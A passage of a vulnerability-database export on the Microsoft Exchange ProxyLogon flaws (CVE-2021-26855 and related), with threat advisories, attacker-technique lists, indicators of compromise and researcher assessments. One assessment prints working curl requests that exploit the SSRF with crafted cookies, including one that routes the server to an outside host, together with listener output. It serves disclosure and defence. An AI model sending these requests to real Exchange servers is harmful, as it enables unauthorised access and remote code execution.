"obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2022-06-29T03:13:37", "id": "THN:97FD375C23B4E7C3F13B9F3907873671", "href": "https://thehackernews.com/2022/06/apt-hackers-targeting-industrial.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "hivepro": [{"lastseen": "2021-08-23T15:19:10", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/08/TA202130.pdf>)\n\nMicrosoft Exchange Server vulnerabilities have been officially patched for five months now. These vulnerabilities are actively exploited by multiple threat actors named DeadRinger. DeadRinger has been affecting the telecommunication industry all around the world. DeadRinger consists of three clusters. The first one includes threat group Softcell which has been active since 2012. The Naikon group, which has been active since 2020, is the second cluster. We discovered that the signatures match those of TG-3390, making it the third cluster.\n\nAs a response, Hive Pro Threat Researchers advises that you address these vulnerabilities.\n\nThe Techniques used by the DeadRinger includes: \nT1592: Gather Victim Host Information \nT1595: Active Scanning \nT1590: Gather Victim Network Information \nT1190: Exploit Public-Facing Application \nT1059: Command and Scripting Interpreter \nT1047: Windows Management Instrumentation \nT1059.001: Command and Scripting Interpreter: PowerShell \nT1505.003: Server Software Component: Web Shell \nT1136: Create Account \nT1053: Scheduled Task/Job \nT1078: Valid Accounts \nT1574: Hijack Execution Flow \nT1027.005: Obfuscated Files or Information: Indicator Removal from Tools \nT1027: Obfuscated Files or Information \nT1036: Masquerading \nT1070.006: Indicator Removal on Host: Timestomp \nT1140: Deobfuscate/Decode Files or Information \nT1040: Network Sniffing \nT1087: Account Discovery \nT1018: Remote System Discovery \nT1071.001: Application Layer Protocol: Web Protocols \nT1041: Exfiltration Over C2 Channel \nT1021.002: Remote Services: SMB/Windows Admin Shares \nT1550.002: Use Alternate Authentication Material: Pass the Hash \nT1105: Ingress Tool Transfer \nT1555: Credentials from Password Stores \nT1003: OS Credential Dumping \nT1016: System Network Configuration Discovery \nT1069: Permission Groups Discovery \nT1560: Archive Collected Data \nT1569: System Services \nT1543.003: Create or Modify System Process: Windows Service \nT1574.002: Hijack Execution Flow: DLL Side-Loading \nT1570: Lateral Tool Transfer \nT1056.001: Input Capture: Keylogging \nT1573: Encrypted Channel\n\n#### Vulnerability Details\n\n\n\n#### Actor Details\n\n\n\n#### Indicators of Compromise (IoCs)\n\n**Type** | **Value** \n---|--- \nIP Address | 47.56.86[.]44 \n45.76.213[.]2 \n45.123.118[.]232 \n101.132.251[.]212 \nSHA-1 Hash | 19e961e2642e87deb2db6ca8fc2342f4b688a45c \nba8f2843e2fb5274394b3c81abc3c2202d9ba592 \n243cd77cfa03f58f6e6568e011e1d6d85969a3a2 \nc549a16aaa9901c652b7bc576e980ec2a008a2e0 \nc2850993bffc8330cff3cb89e9c7652b8819f57f \n440e04d0cc5e842c94793baf31e0d188511f0ace \ne2340b27a4b759e0e2842bfe5aa48dda7450af4c \n15336340db8b73bf73a17c227eb0c59b5a4dece2 \n5bc5dbe3a2ffd5ed1cd9f0c562564c8b72ae2055 \n0dc49c5438a5d80ef31df4a4ccaab92685da3fc6 \n81cfcf3f8213bce4ca6a460e1db9e7dd1474ba52 \ne93ceb7938120a87c6c69434a6815f0da42ab7f2 \n207b7cf5db59d70d4789cb91194c732bcd1cfb4b \n71999e468252b7458e06f76b5c746a4f4b3aaa58 \n39c5c45dbec92fa99ad37c4bab09164325dbeea0 \nefc6c117ecc6253ed7400c53b2e148d5e4068636 \na3c5c0e93f6925846fab5f3c69094d8a465828e9 \na4232973418ee44713e59e0eae2381a42db5f54c \n5602bf8710b1521f6284685d835d5d1df0679b0f \ne3fcda85f5f42a2bffb65f3b8deeb523f8db2302 \n720556854fb4bcf83b9ceb9515fbe3f5cb182dd5 \nb699861850e4e6fde73dfbdb761645e2270f9c9a \n6516d73f8d4dba83ca8c0330d3f180c0830af6a0 \n99f8263808c7e737667a73a606cbb8bf0d6f0980 \na5b193118960184fe3aa3b1ea7d8fd1c00423ed6 \n92ce6af826d2fb8a03d6de7d8aa930b4f94bc2db \nd9e828fb891f033656a0797f5fc6d276fbc9748f \n87c3dc2ae65dcd818c12c1a4e4368f05719dc036 \nDomain | Cymkpuadkduz[.]xyz \nnw.eiyfmrn[.]com \njdk.gsvvfsso[.]com \nttareyice.jkub[.]com \nmy.eiyfmrn[.]com \nA.jrmfeeder[.]org \nafhkl.dseqoorg[.]com \n \n#### Patch Links\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26857>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26858>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065>\n\n#### References\n\n<https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos>\n\n<https://www.zdnet.com/article/deadringer-chinese-apts-strike-major-telecommunications-companies/>", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-18T11:01:05", "type": "hivepro", "title": "Have you patched the vulnerabilities in Microsoft Exchange Server?", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-08-18T11:01:05", "id": "HIVEPRO:0E3B824DCD3B82D06D8078A118E98B54", "href": "https://www.hivepro.com/have-you-patched-the-vulnerabilities-in-microsoft-exchange-server/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-12-08T08:11:22", "description": "Threat Level Actor Report For a detailed threat advisory, download the pdf file here Summary BackdoorDiplomacy, an advanced persistent threat (APT) gang with roots in China, is most likely behind a hostile campaign targeting the Middle East. The espionage action, aimed at a Middle Eastern telecom operator, is reported to have begun on August 19, 2021, with the successful exploitation of ProxyShell weaknesses (CVE-2021-26855) in the Microsoft Exchange Server.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-12-08T07:20:51", "type": "hivepro", "title": "BackdoorDiplomacy targets the telecom industry in the Middle East", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2022-12-08T07:20:51", "id": "HIVEPRO:D5E3F04B4C2C9644D7C5DCE9894CF0C6", "href": "https://www.hivepro.com/backdoordiplomacy-targets-the-telecom-industry-in-the-middle-east/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2023-01-21T17:14:30", "description": "Microsoft disclosed four actively exploited zero-day vulnerabilities being used to attack on-premises versions of Microsoft Exchange Server. The vulnerabilities identified are CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065, all of which affect Microsoft Exchange Server. Exchange Online is not affected.\n\nIn the attacks observed, the threat actor used these vulnerabilities to access on-premises Exchange servers which enabled access to email accounts, and allowed installation of additional malware to facilitate long-term access to victim environments. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to HAFNIUM, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures.\n\n \n**Recent assessments:** \n \n**ccondon-r7** at March 03, 2021 4:10pm UTC reported:\n\nMicrosoft [released details](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) on an active state-sponsored threat campaign (attributed to HAFNIUM) that is exploiting on-prem Exchange Server installations. Microsoft\u2019s observation was that these were limited, targeted attacks, but as of March 3, 2021, ongoing mass exploitation has been confirmed by multiple sources. More in the [Rapid7 analysis](<https://attackerkb.com/topics/Sw8H0fbJ9O/multiple-microsoft-exchange-zero-day-vulnerabilities---hafnium-campaign?referrer=assessment#rapid7-analysis>) tab.\n\n**NinjaOperator** at June 29, 2021 9:51pm UTC reported:\n\nMicrosoft [released details](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) on an active state-sponsored threat campaign (attributed to HAFNIUM) that is exploiting on-prem Exchange Server installations. Microsoft\u2019s observation was that these were limited, targeted attacks, but as of March 3, 2021, ongoing mass exploitation has been confirmed by multiple sources. More in the [Rapid7 analysis](<https://attackerkb.com/topics/Sw8H0fbJ9O/multiple-microsoft-exchange-zero-day-vulnerabilities---hafnium-campaign?referrer=assessment#rapid7-analysis>) tab.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-09T00:00:00", "type": "attackerkb", "title": "Multiple Microsoft Exchange zero-day vulnerabilities - ProxyLogon Exploit Chain", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-02-09T00:00:00", "id": "AKB:1BA7DC74-F17D-4C34-9A6C-2F6B39787AA2", "href": "https://attackerkb.com/topics/Sw8H0fbJ9O/multiple-microsoft-exchange-zero-day-vulnerabilities---proxylogon-exploit-chain", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-11-03T20:17:54", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26857, CVE-2021-27065, CVE-2021-27078.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-03T00:00:00", "type": "attackerkb", "title": "CVE-2021-26858", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2021-07-27T00:00:00", "id": "AKB:4C137002-9580-4593-83DB-D4E636E1AEFB", "href": "https://attackerkb.com/topics/TFFtD6XA8z/cve-2021-26858", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-12-11T15:33:28", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27078.\n\n \n**Recent assessments:** \n \n**wvu-r7** at March 10, 2021 7:13am UTC reported:\n\nWhen used with [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), an unauthenticated SSRF, [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) yields unauthed, `SYSTEM`-level RCE against a vulnerable Exchange Server. On its own, exploiting this vulnerability requires access to the [EAC/ECP interface](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/exchange-admin-center?view=exchserver-2019>), which is a privileged and authenticated web interface.\n\nI was able to identify the relevant endpoints a few days ago using a combination of patch analysis and manual testing, and I successfully wrote an arbitrary file (sans SSRF) to the target\u2019s filesystem (UNC path). Ironically, I was looking at the virtual directory settings for [EWS](<https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-reference-for-exchange>), but \u201cOAB\u201d caught my eye due to its published IOCs. ([OAB](<https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/offline-address-books/offline-address-books?view=exchserver-2019>) is Microsoft\u2019s implementation of offline address books in Exchange.)\n\n\n\nWriting an ASPX shell is the easiest way to achieve RCE using CVE-2021-27065, so make sure to look for filesystem IOCs. These IOCs are [well-documented](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) by Microsoft and other entities. Bear in mind that attackers will try to use clever or randomized filenames to evade detection.\n\n**cdelafuente-r7** at March 24, 2021 3:26pm UTC reported:\n\nWhen used with [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), an unauthenticated SSRF, [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) yields unauthed, `SYSTEM`-level RCE against a vulnerable Exchange Server. On its own, exploiting this vulnerability requires access to the [EAC/ECP interface](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/exchange-admin-center?view=exchserver-2019>), which is a privileged and authenticated web interface.\n\nI was able to identify the relevant endpoints a few days ago using a combination of patch analysis and manual testing, and I successfully wrote an arbitrary file (sans SSRF) to the target\u2019s filesystem (UNC path). Ironically, I was looking at the virtual directory settings for [EWS](<https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-reference-for-exchange>), but \u201cOAB\u201d caught my eye due to its published IOCs. ([OAB](<https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/offline-address-books/offline-address-books?view=exchserver-2019>) is Microsoft\u2019s implementation of offline address books in Exchange.)\n\n\n\nWriting an ASPX shell is the easiest way to achieve RCE using CVE-2021-27065, so make sure to look for filesystem IOCs. These IOCs are [well-documented](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) by Microsoft and other entities. Bear in mind that attackers will try to use clever or randomized filenames to evade detection.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-03T00:00:00", "type": "attackerkb", "title": "CVE-2021-27065", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2021-07-27T00:00:00", "id": "AKB:BD645B28-C99E-42EA-A606-832F4F534945", "href": "https://attackerkb.com/topics/lLMDUaeKSn/cve-2021-27065", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-02-08T17:15:35", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078.\n\n \n**Recent assessments:** \n \n**wvu-r7** at March 09, 2021 7:01am UTC reported:\n\n# CVE-2021-26855\n\n[CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>) is an SSRF vulnerability in Exchange that allows privileged access to Exchange\u2019s backend resources, ultimately leading to pre-auth RCE when [combined](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>) with CVEs such as [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>).\n\n## Microsoft\u2019s (Nmap) NSE script\n\nConveniently disclosed in Microsoft\u2019s [alternative mitigations](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>), [this script](<https://github.com/microsoft/CSS-Exchange/blob/main/Security/http-vuln-cve2021-26855.nse>) provides an easily reproducible PoC for CVE-2021-26855. My findings below are reflective of that.\n \n \n wvu@kharak:~/Downloads$ ls\n http-vuln-cve2021-26855.nse\n wvu@kharak:~/Downloads$ nmap -Pn -T4 -n -v -p 443 --open --script http-vuln-cve2021-26855 192.168.123.183\n Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.\n Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-09 00:50 CST\n NSE: Loaded 1 scripts for scanning.\n NSE: Script Pre-scanning.\n Initiating NSE at 00:50\n Completed NSE at 00:50, 0.00s elapsed\n Initiating Connect Scan at 00:50\n Scanning 192.168.123.183 [1 port]\n Discovered open port 443/tcp on 192.168.123.183\n Completed Connect Scan at 00:50, 0.00s elapsed (1 total ports)\n NSE: Script scanning 192.168.123.183.\n Initiating NSE at 00:50\n Completed NSE at 00:50, 0.02s elapsed\n Nmap scan report for 192.168.123.183\n Host is up (0.00064s latency).\n \n PORT STATE SERVICE\n 443/tcp open https\n | http-vuln-cve2021-26855:\n | VULNERABLE:\n | Exchange Server SSRF Vulnerability\n | State: VULNERABLE\n | IDs: CVE:CVE-2021-26855\n | Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010 are vulnerable to a SSRF via the X-AnonResource-Backend and X-BEResource cookies.\n |\n | Disclosure date: 2021-03-02\n | References:\n | https://vulners.com/cve/CVE-2021-26855\n |_ http://aka.ms/exchangevulns\n \n NSE: Script Post-scanning.\n Initiating NSE at 00:50\n Completed NSE at 00:50, 0.00s elapsed\n Read data files from: /usr/local/bin/../share/nmap\n Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds\n wvu@kharak:~/Downloads$\n \n\n### Ported to [curl(1)](<https://curl.se/>)\u2026\n \n \n wvu@kharak:~$ curl -kvb \"X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;\" https://192.168.123.183/owa/auth/x.js\n * Trying 192.168.123.183...\n * TCP_NODELAY set\n * Connected to 192.168.123.183 (192.168.123.183) port 443 (#0)\n * ALPN, offering h2\n * ALPN, offering http/1.1\n * successfully set certificate verify locations:\n * CAfile: /etc/ssl/cert.pem\n CApath: none\n * TLSv1.2 (OUT), TLS handshake, Client hello (1):\n * TLSv1.2 (IN), TLS handshake, Server hello (2):\n * TLSv1.2 (IN), TLS handshake, Certificate (11):\n * TLSv1.2 (IN), TLS handshake, Server key exchange (12):\n * TLSv1.2 (IN), TLS handshake, Server finished (14):\n * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):\n * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (OUT), TLS handshake, Finished (20):\n * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (IN), TLS handshake, Finished (20):\n * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256\n * ALPN, server accepted to use h2\n * Server certificate:\n * subject: CN=WIN-T4RO9496TA7\n * start date: Mar 8 22:45:17 2021 GMT\n * expire date: Mar 8 22:45:17 2026 GMT\n * issuer: CN=WIN-T4RO9496TA7\n * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n * Using HTTP2, server supports multi-use\n * Connection state changed (HTTP/2 confirmed)\n * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n * Using Stream ID: 1 (easy handle 0x7f8cb580b400)\n > GET /owa/auth/x.js HTTP/2\n > Host: 192.168.123.183\n > User-Agent: curl/7.64.1\n > Accept: */*\n > Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;\n >\n * Connection state changed (MAX_CONCURRENT_STREAMS == 100)!\n < HTTP/2 500\n < cache-control: private\n < content-type: text/html; charset=utf-8\n < server: Microsoft-IIS/10.0\n < request-id: 864475e3-ee01-48a5-acf3-1b1cbbc50c02\n < x-calculatedbetarget: localhost\n < x-calculatedbetarget: localhost\n < x-feserver: WIN-T4RO9496TA7\n < x-aspnet-version: 4.0.30319\n < x-powered-by: ASP.NET\n < date: Tue, 09 Mar 2021 06:52:07 GMT\n < content-length: 85\n <\n * Connection #0 to host 192.168.123.183 left intact\n NegotiateSecurityContext failed with for host 'localhost' with status 'TargetUnknown'* Closing connection 0\n wvu@kharak:~$\n \n\n## SSRF to an arbitrary remote host\n\nYou can specify an arbitrary host in `X-AnonResource-Backend`.\n \n \n wvu@kharak:~$ curl -kvb \"X-AnonResource=true; X-AnonResource-Backend=192.168.123.1~$RANDOM\" \"https://192.168.123.183/owa/auth/$RANDOM.js\"\n * Trying 192.168.123.183...\n * TCP_NODELAY set\n * Connected to 192.168.123.183 (192.168.123.183) port 443 (#0)\n * ALPN, offering h2\n * ALPN, offering http/1.1\n * successfully set certificate verify locations:\n * CAfile: /etc/ssl/cert.pem\n CApath: none\n * TLSv1.2 (OUT), TLS handshake, Client hello (1):\n * TLSv1.2 (IN), TLS handshake, Server hello (2):\n * TLSv1.2 (IN), TLS handshake, Certificate (11):\n * TLSv1.2 (IN), TLS handshake, Server key exchange (12):\n * TLSv1.2 (IN), TLS handshake, Server finished (14):\n * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):\n * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (OUT), TLS handshake, Finished (20):\n * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (IN), TLS handshake, Finished (20):\n * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256\n * ALPN, server accepted to use h2\n * Server certificate:\n * subject: CN=WIN-T4RO9496TA7\n * start date: Mar 8 22:45:17 2021 GMT\n * expire date: Mar 8 22:45:17 2026 GMT\n * issuer: CN=WIN-T4RO9496TA7\n * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n * Using HTTP2, server supports multi-use\n * Connection state changed (HTTP/2 confirmed)\n * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n * Using Stream ID: 1 (easy handle 0x7f9ea080d600)\n > GET /owa/auth/22702.js HTTP/2\n > Host: 192.168.123.183\n > User-Agent: curl/7.64.1\n > Accept: */*\n > Cookie: X-AnonResource=true; X-AnonResource-Backend=192.168.123.1~4563\n >\n * Connection state changed (MAX_CONCURRENT_STREAMS == 100)!\n \n\n### Catching the request in [ncat(1)](<https://nmap.org/ncat/>)\u2026\n \n \n wvu@kharak:~$ ncat -lkv --ssl 443\n Ncat: Version 7.91 ( https://nmap.org/ncat )\n Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.\n Ncat: SHA-1 fingerprint: F55B E690 D8F2 84F1 EC64 816A 5763 2F5B B56F 0D72\n Ncat: Listening on :::443\n Ncat: Listening on 0.0.0.0:443\n Ncat: Connection from 192.168.123.183.\n Ncat: Connection from 192.168.123.183:6303.\n GET /owa/auth/22702.js HTTP/1.1\n X-FE-ClientIP: 192.168.123.1\n X-Forwarded-For: 192.168.123.1\n X-Forwarded-Port: 55723\n X-MS-EdgeIP:\n X-ExCompId: ClientAccessFrontEnd\n Accept: */*\n User-Agent: curl/7.64.1\n X-OriginalRequestHost: 192.168.123.183\n X-OriginalRequestHostSchemePort: 443:https:192.168.123.183\n X-MSExchangeActivityCtx: V=1.0.0.0;Id=26678ebf-2d0f-42bd-bac3-2d27889baed8;C=;P=\n msExchProxyUri: https://192.168.123.183/owa/auth/22702.js\n X-IsFromCafe: 1\n X-SourceCafeServer: WIN-T4RO9496TA7.GIBSON.LOCAL\n X-CommonAccessToken: VgEAVAlBbm9ueW1vdXNDAEUAAAAA\n X-vDirObjectId: 621dccd3-6dff-49aa-87be-7911a110125e\n Host: 192.168.123.1\n Cookie: X-AnonResource=true; X-AnonResource-Backend=192.168.123.1~4563\n Connection: Keep-Alive\n \n\nThe fun folks working on the [Nuclei scanner](<https://github.com/projectdiscovery/nuclei>) noticed [burpcollaborator.net](<https://burpcollaborator.net/>) made a [good target](<https://github.com/projectdiscovery/nuclei-templates/pull/1032>) for their scanner.\n \n \n wvu@kharak:~$ curl -kvb \"X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net~$RANDOM\" \"https://192.168.123.183/owa/auth/$RANDOM.js\"\n * Trying 192.168.123.183...\n * TCP_NODELAY set\n * Connected to 192.168.123.183 (192.168.123.183) port 443 (#0)\n * ALPN, offering h2\n * ALPN, offering http/1.1\n * successfully set certificate verify locations:\n * CAfile: /etc/ssl/cert.pem\n CApath: none\n * TLSv1.2 (OUT), TLS handshake, Client hello (1):\n * TLSv1.2 (IN), TLS handshake, Server hello (2):\n * TLSv1.2 (IN), TLS handshake, Certificate (11):\n * TLSv1.2 (IN), TLS handshake, Server key exchange (12):\n * TLSv1.2 (IN), TLS handshake, Server finished (14):\n * TLSv1.2 (OUT), TLS handshake, Client key exchange (16):\n * TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (OUT), TLS handshake, Finished (20):\n * TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):\n * TLSv1.2 (IN), TLS handshake, Finished (20):\n * SSL connection using TLSv1.2 / ECDHE-RSA-AES128-GCM-SHA256\n * ALPN, server accepted to use h2\n * Server certificate:\n * subject: CN=WIN-T4RO9496TA7\n * start date: Mar 8 22:45:17 2021 GMT\n * expire date: Mar 8 22:45:17 2026 GMT\n * issuer: CN=WIN-T4RO9496TA7\n * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n * Using HTTP2, server supports multi-use\n * Connection state changed (HTTP/2 confirmed)\n * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0\n * Using Stream ID: 1 (easy handle 0x7fd58480f600)\n > GET /owa/auth/18409.js HTTP/2\n > Host: 192.168.123.183\n > User-Agent: curl/7.64.1\n > Accept: */*\n > Cookie: X-AnonResource=true; X-AnonResource-Backend=burpcollaborator.net~31368\n >\n * Connection state changed 